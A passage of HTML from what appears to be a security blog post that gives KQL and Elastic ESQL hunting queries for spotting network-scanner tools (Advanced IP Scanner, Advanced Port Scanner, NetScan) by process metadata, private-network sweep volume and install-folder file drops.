8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h3>Network events</h3><blockquote><p><strong>Catches:</strong> any process making rapid connections to many private IPs across multiple ports. Tool-agnostic, so it survives binary renames AND metadata stripping. </p><p><strong>Tune:</strong> <code>ipThreshold</code> and <code>portThreshold</code> for your environment. Default 50 IPs / 3 ports per 5-minute bucket.</p></blockquote><pre><code>let startTime = datetime(2026-04-02T03:00:00);
let endTime   = datetime(2026-05-06T10:00:00);
let ipThreshold   = 50;
let portThreshold = 3;
let bucket = 5m;
DeviceNetworkEvents
| where Timestamp between (startTime .. endTime)
| where RemoteIPType == "Private"
| where ActionType startswith "Connection"
| summarize
    DistinctIPs   = dcount(RemoteIP),
    DistinctPorts = dcount(RemotePort),
    SampleIPs     = make_set(RemoteIP, 10),
    SamplePorts   = make_set(RemotePort, 10),
    FirstSeen     = min(Timestamp),
    LastSeen      = max(Timestamp)
    by DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256, bin(Timestamp, bucket)
| where DistinctIPs &gt;= ipThreshold and DistinctPorts &gt;= portThreshold
| sort by DistinctIPs desc</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2VWL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2VWL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 424w, https://substackcdn.com/image/fetch/$s_!2VWL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 848w, https://substackcdn.com/image/fetch/$s_!2VWL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 1272w, https://substackcdn.com/image/fetch/$s_!2VWL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2VWL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png" width="1234" height="659" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:659,&quot;width&quot;:1234,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:106847,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2VWL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 424w, https://substackcdn.com/image/fetch/$s_!2VWL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 848w, https://substackcdn.com/image/fetch/$s_!2VWL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 1272w, https://substackcdn.com/image/fetch/$s_!2VWL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0bc55646-080e-4e11-9d74-f44592ec1256_1234x659.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h3>File events</h3><blockquote><p><strong>Catches:</strong> AIPS and APS install artifacts in their default folders. NetScan is already covered by the process query. </p><p><strong>Tune:</strong> folder path patterns if attackers stage to non-default locations.</p></blockquote><pre><code>DeviceFileEvents
| where Timestamp &gt; ago(30d)
| where ActionType in ("FileCreated", "FileModified", "FileRenamed")
| where FolderPath has_any (@"\Advanced IP Scanner 2", @"\Advanced Port Scanner 2")
| summarize FilesDropped = make_set(FileName, 20), FileCount = dcount(FileName), FirstDrop = min(Timestamp)
    by DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName,
       InitiatingProcessCommandLine, InitiatingProcessParentFileName
| order by FirstDrop asc</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8BJv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8BJv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 424w, https://substackcdn.com/image/fetch/$s_!8BJv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 848w, https://substackcdn.com/image/fetch/$s_!8BJv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 1272w, https://substackcdn.com/image/fetch/$s_!8BJv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8BJv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png" width="1315" height="576" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:576,&quot;width&quot;:1315,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:104108,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8BJv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 424w, https://substackcdn.com/image/fetch/$s_!8BJv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 848w, https://substackcdn.com/image/fetch/$s_!8BJv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 1272w, https://substackcdn.com/image/fetch/$s_!8BJv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4924dccf-5fe7-4ad5-805c-00c112b26b0f_1315x576.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2>ESQL (Elastic)</h2><p>Same logic, Elastic field names.</p><h3>Process events</h3><blockquote><p><strong>Catches:</strong> same surface as the KQL process query. </p><p><strong>Tune:</strong> time window.</p></blockquote><pre><code>FROM logs-windows.sysmon_operational-default
| WHERE @timestamp &gt; NOW() - 30 days
  AND event.code == "1"
| EVAL cmd_l = TO_LOWER(process.command_line)
| WHERE process.pe.company     RLIKE ".*(Famatech|SoftPerfect).*"
     OR process.pe.product     RLIKE ".*(Advanced IP Scanner|Advanced Port Scanner|Network Scanner).*"
     OR process.pe.description RLIKE ".*(Advanced IP Scanner|Advanced Port Scanner|Application for scanning networks).*"
     OR (cmd_l LIKE "*/portable*" AND cmd_l LIKE "*/lng*")
     OR (cmd_l LIKE "*/hide*"     AND cmd_l LIKE "*/auto*")
| KEEP @timestamp, host.name, user.name, process.name, process.command_line,
       process.pe.company, process.pe.product, process.pe.description,
       process.hash.sha256, process.parent.name, process.parent.command_line
| SORT @timestamp ASC
| LIMIT 1000</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!izl-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!izl-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 424w, https://substackcdn.com/image/fetch/$s_!izl-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 848w, https://substackcdn.com/image/fetch/$s_!izl-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 1272w, https://substackcdn.com/image/fetch/$s_!izl-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!izl-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png" width="1456" height="715" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:715,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:184211,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!izl-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 424w, https://substackcdn.com/image/fetch/$s_!izl-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 848w, https://substackcdn.com/image/fetch/$s_!izl-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 1272w, https://substackcdn.com/image/fetch/$s_!izl-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F04bed958-1337-4877-b3ae-4f3c1d63e1fd_1581x776.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h3>Network events</h3><blockquote><p><strong>Catches:</strong> sweep behavior across all three tools via Sysmon event 3. </p><p><strong>Tune:</strong> thresholds (default 3 IPs / 2 ports per 5-min bucket for Sysmon).</p></blockquote><pre><code>FROM logs-windows.sysmon_operational-default
| WHERE @timestamp &gt;= "2026-04-02T03:00:00Z" AND @timestamp &lt;= "2026-05-06T10:00:00Z"
    AND event.code == "3"
    AND process.name IS NOT NULL
    AND destination.ip IS NOT NULL
    AND CIDR_MATCH(destination.ip, "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
| STATS DistinctIPs   = COUNT_DISTINCT(destination.ip),
        DistinctPorts = COUNT_DISTINCT(destination.port),
        TotalConns    = COUNT(*),
        SampleIPs     = TOP(destination.ip, 10, "asc"),
        SamplePorts   = TOP(destination.port, 10, "asc"),
        FirstSeen     = MIN(@timestamp),
        LastSeen      = MAX(@timestamp)
    BY host.name,
       process.executable,
       time_bucket = BUCKET(@timestamp, 5 minutes)
| WHERE DistinctIPs &gt;= 3 AND DistinctPorts &gt;= 2
| SORT DistinctIPs DESC</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Oz83!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Oz83!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 424w, https://substackcdn.com/image/fetch/$s_!Oz83!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 848w, https://substackcdn.com/image/fetch/$s_!Oz83!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 1272w, https://substackcdn.com/image/fetch/$s_!Oz83!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Oz83!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png" width="1456" height="738" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:738,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:151778,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Oz83!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 424w, https://substackcdn.com/image/fetch/$s_!Oz83!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 848w, https://substackcdn.com/image/fetch/$s_!Oz83!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 1272w, https://substackcdn.com/image/fetch/$s_!Oz83!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9fd726c7-6f0c-46bf-bae2-6fde371b1594_1501x761.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h3>File events</h3><blockquote><p><strong>Catches:</strong> AIPS and APS install footprints via Sysmon event 11. </p><p><strong>Tune:</strong> path patterns.</p></blockquote><pre><code>FROM logs-windows.sysmon_operational-default
| WHERE @timestamp &gt;= "2026-04-02T03:00:00Z" AND @timestamp &lt;= "2026-05-06T10:00:00Z"
    AND event.code == "11" AND file.path IS NOT NULL
| EVAL path_lc = TO_LOWER(file.path)
| WHERE path_lc LIKE "*advanced ip scanner 2*" OR path_lc LIKE "*advanced port scanner 2*"
| EVAL Tool = CASE(
    path_lc LIKE "*advanced ip scanner 2*","Advanced IP Scanner", "Advanced Port Scanner")
| STATS FilesDropped = TOP(file.name, 20, "asc"),
        FileCount    = COUNT_DISTINCT(file.name),
        FirstDrop    = MIN(@timestamp),
        LastDrop     = MAX(@timestamp)
    BY host.name, Tool, user.name, process.executable
| SORT FirstDrop ASC
| LIMIT 500</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!z-F_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!z-F_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 424w, https://substackcdn.com/image/fetch/$s_!z-F_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 848w, https://substackcdn.com/image/fetch/$s_!z-F_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 1272w, https://substackcdn.com/image/fetch/$s_!z-F_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!z-F_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png" width="1337" height="760" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:760,&quot;width&quot;:1337,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:141302,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 